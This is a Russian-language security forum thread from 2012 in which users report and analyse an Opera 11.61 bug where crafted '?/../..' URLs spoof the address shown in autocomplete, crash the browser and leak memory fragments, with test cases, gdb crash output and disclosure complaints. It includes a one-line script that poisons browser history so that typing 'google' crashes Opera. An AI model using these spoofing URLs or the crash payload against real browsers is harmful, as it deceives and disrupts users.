Старый 04.02.2012, 11:27   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию Opera 11.61: Autocomplete url spoofing

В Opera 11.61 неправильно реализовали отображение и нормализацию пути url в автодополнении.
Символ ? разделяющий path и query не учитывается.

В итоге:
Код:
http://testsite.xxx/?test=/test/../test
При автодополнении отображается как:
Код:
http://testsite.xxx/?test=/test
Код:
http://testsite.xxx/?test=/../index.php
Отображается как:
Код:
http://testsite.xxx/index.php
А прыжок еще выше приводит к падению оперы при отображении этой ссылки в автодополнении:
Код:
http://testsite.xxx/?test=/../../index.php
PS: Хотя получалось сделать в автодополнении и отображение /index.php вместо всей ссылки.


Вот таким образом можно заражать историю браузера, при вводе google в адресной строке он сразу будет падать.
Код:
<script>location="http://google.ru/?x=x/../../x"</script>
PPS: реверсеры, посмотрите из-за чего падает, и можно ли это как нибудь еще использовать
А спалят эту тему очень быстро, так что нужно где-нибудь это опубликовать.

UPD:
Падает, если в path пусто
Код:
http://test.test/test.php?/../../http://google.ru
Отображается как
Код:
/http://google.ru

Последний раз редактировалось BlackFan; 04.02.2012 в 11:42..
BlackFan вне форума   Ответить с цитированием
Старый 04.02.2012, 13:16   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Начал готовить тему для публикации, обнаружил что тут не только спуфинг, еще рандомные куски из памяти лезут, вместо path в ссылке.
(для которых опера любезно пытается определить кодировку)


Нужна помощь более квалифицированных людей в этой теме, чем я
Миниатюры
Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 899
Размер:	3.4 Кб
ID:	214  

Последний раз редактировалось BlackFan; 04.02.2012 в 13:22..
BlackFan вне форума   Ответить с цитированием
Старый 04.02.2012, 13:43   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Собственно:
Код:
hostpath

Test #0
http://x123456789/?param=param1
x123456789/?param=param1

Test #1
http://x123456789/?param=/../../x123456789
/x123456789

Test #2
http://x123456789/?param=/../../x12345678
/x12345678

Test #3
http://x123456789/?param=/../../x1234567
/x1234567random_string_from_memory

Test #4 (замена меньше на 2 символа чем начальный)
http://x123456789/?param=/../../x123456
Crash

Последний раз редактировалось BlackFan; 04.02.2012 в 13:46..
BlackFan вне форума   Ответить с цитированием
Старый 05.02.2012, 15:34   #4
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Под linux, когда к opera прицеплен отладчик gdb, намертво вешается X-сервер.
Чтобы обойти, стартуем Xephyr:
Код:
Xephyr :1 --screen 800x600 &
В этом же терминале даем команду на запуск оперы, но уже в другом X-сервере (Xephyr):
Код:
DISPLAY=:1 opera-beta
Дальше как обычно -- опера есть в общем дереве процессов, но вешается уже Xephyr, а не наш X-сервер.

И немного вывода gdb =)
Код:
--------------------------------------------------------------------------[regs]
  EAX: 0x0BDDAFD0  EBX: 0xB7341FF4  ECX: 0xFF9ACEDE  EDX: 0x0BDDAFE0  o d I t S z a P c 
  ESI: 0x090148CC  EDI: 0x00000009  EBP: 0xBFC58C88  ESP: 0xBFC58C48  EIP: 0xB72D6828
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[ code ]
=> 0xb72d6828 <__memmove_ssse3+4488>:	movdqu xmm3,XMMWORD PTR [eax+0x30]
   0xb72d682d <__memmove_ssse3+4493>:	movdqu xmm4,XMMWORD PTR [eax+0x40]
   0xb72d6832 <__memmove_ssse3+4498>:	movdqu xmm5,XMMWORD PTR [eax+0x50]
   0xb72d6837 <__memmove_ssse3+4503>:	movdqu xmm6,XMMWORD PTR [eax+0x60]
   0xb72d683c <__memmove_ssse3+4508>:	movdqu xmm7,XMMWORD PTR [eax+0x70]
   0xb72d6841 <__memmove_ssse3+4513>:	lea    eax,[eax+0x80]
   0xb72d6847 <__memmove_ssse3+4519>:	sub    ecx,0x80
   0xb72d684d <__memmove_ssse3+4525>:	movntdq XMMWORD PTR [edx],xmm0
--------------------------------------------------------------------------------
0xb72d6828 in __memmove_ssse3 () from /lib/libc.so.6
Код:
gdb$ bt
#0  0xb72d6828 in __memmove_ssse3 () from /lib/libc.so.6
#1  0x08abe7d6 in ?? ()
#2  0x08284b51 in ?? ()
#3  0x086e0af8 in ?? ()
#4  0x086e0cdb in ?? ()
#5  0x083bb599 in ?? ()
#6  0x083b254f in ?? ()
#7  0x083b857d in ?? ()
#8  0x083b8e51 in ?? ()
#9  0x083b9189 in ?? ()
#10 0x08aebae2 in ?? ()
#11 0x08aeb931 in ?? ()
#12 0x08af4885 in ?? ()
#13 0x08bffdf3 in ?? ()
#14 0x08c00aae in ?? ()
#15 0x08952d23 in ?? ()
#16 0x0880fcef in ?? ()
#17 0x0812667e in ?? ()
#18 0x0812670d in ?? ()
#19 0x0894e8ab in ?? ()
#20 0x0894d998 in ?? ()
#21 0x0894d62f in ?? ()
#22 0x0894d62f in ?? ()
#23 0x0894d62f in ?? ()
#24 0x0894d62f in ?? ()
#25 0x0894d62f in ?? ()
#26 0x0894d62f in ?? ()
#27 0x0894f1a0 in ?? ()
#28 0x0880f00e in ?? ()
#29 0x0880c03e in ?? ()
#30 0x0880a9b5 in ?? ()
#31 0xb71bd483 in __libc_start_main () from /lib/libc.so.6
#32 0x0880a809 in ?? ()

Если правильно понимаю, то это разыменовывание NULL-указателя (если неправ, то поправьте):
Код:
EAX: 0x0BDDAFD0  (aka 0xBADF00D)
=> 0xb72d6828 <__memmove_ssse3+4488>:	movdqu xmm3,XMMWORD PTR [eax+0x30]

Последний раз редактировалось ont; 05.02.2012 в 15:37..
ont вне форума   Ответить с цитированием
Старый 08.02.2012, 19:49   #5
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Из оперы ответили, что признают баг... Но без автоматизированного эксплоита имеющего реальный потенциал использования или подделки url не в автодополнении, а в самой строке после загрузки страницы, эта штука пока проходит как баг, а не как уязвимость.
BlackFan вне форума   Ответить с цитированием
Старый 15.06.2012, 15:55   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Да ну их нахуй со своими "Thanks to Code Audit Labs" (когда я репортил, сказали, что это баг, а не уязвимость и никаких плюшек мне не дадут)

http://www.opera.com/support/kb/view/1022/
http://blog.vulnhunt.com/index.php/2...website-spoof/

Спущено...

Последний раз редактировалось BlackFan; 15.06.2012 в 16:12..
BlackFan вне форума   Ответить с цитированием
Старый 16.06.2012, 05:33   #7
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Я тоже обнаружил это, когда крутил LFI. Падало постоянно.
http://forum.antichat.ru/thread324798.html
Ereeee вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot